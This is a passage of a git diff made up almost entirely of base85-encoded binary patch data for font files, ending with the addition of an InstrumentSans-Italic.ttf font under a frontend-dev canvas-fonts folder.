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 literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/InstrumentSans-Italic.ttf b/skills/frontend-dev/canvas-fonts/InstrumentSans-Italic.ttf new file mode 100644 index 0000000000000000000000000000000000000000..4b98fb8dd753453f6e355a6dd1d4f483961c4017 GIT binary patch literal 69900 zcmbrn34EKy@jtx#NS18*k}t`(<xBEyOR^>3_ie{_;y7^*Cw5{djvajD0>VuK<)%<d zfO4jk0;QBvpp^bv?xSrQ5=bBrNXk_xHw6lo{@>Z>kt`<x+V@R9`)Hqe_L!ZSot>T8 z=P~1qF+DD7#+vFI8uL~cE@4dSV~nqE>gwzbIQ^678N0ENvFVqZdKcH~N23B6i^F|T zY-ex2ZAg=F2FiYpR#x}+)%306bynP8hx=t~Hw|rm=SKy(jA?I12j=xd)0?R`Jdeb$ z|N8Om>yBj||1o3ELB>X28XXxLHn$AFL4D)7V-$d(Gj-qKz8v>yqnl>7<sa(Dvj`;Z zf$_<;Lz|5k=@?Tzfb_wpp>3NbE&CnH$D_PyVrbLIXLn^?!C2rkD1Y7N$?2JwE*UFg z%+duk0ya;LY#!BIaskQ*p}h7X?!MqY^`*FF-0fze_+|VHwvlOBE7Q=O&p$PlLa)!c zH5iJ+Ju`RAf3fOa_Kr^(s!g?!KHU{?`>N3LFPI8t@b9SZ+nx0L#$eiC+%v92sQU_& z(2GP+{G-<WnF_f`am``U*5R2^!gTBU(HS1h_}I+QI1fRM6c#S<LtWfck1AXx9>p<s z=~2-dGNAe}@?eEjiYI;mT`Vnif5h78mv!@%%*?^9`F}SvHi^3p9!N)LM*};DnNq^# zajRZI9mcMv=iDXj!;eYso9#wE1kgfeU;%8LtzpYp535J6oE5Sh;1|Fh+{uf12`}Yk zyqx#*TLA@K`7e~;dzIfpj8R7;^xMw3^all+r~GE&X(T<B#ysVujcBC^ckw6_h!nz- za7||UxLTPL*AiBNYZYt4wVn0hx&%0KP-qm_4eVlEFJYJCdKJ4F*W1{gxZcGc!1Y1) zS6uh81Gv7#j^O$_{&RMmy^rg^*w?sz!`#4uu;3VHIjG;y`*FP$qm=kP9Ao4A`Aba2 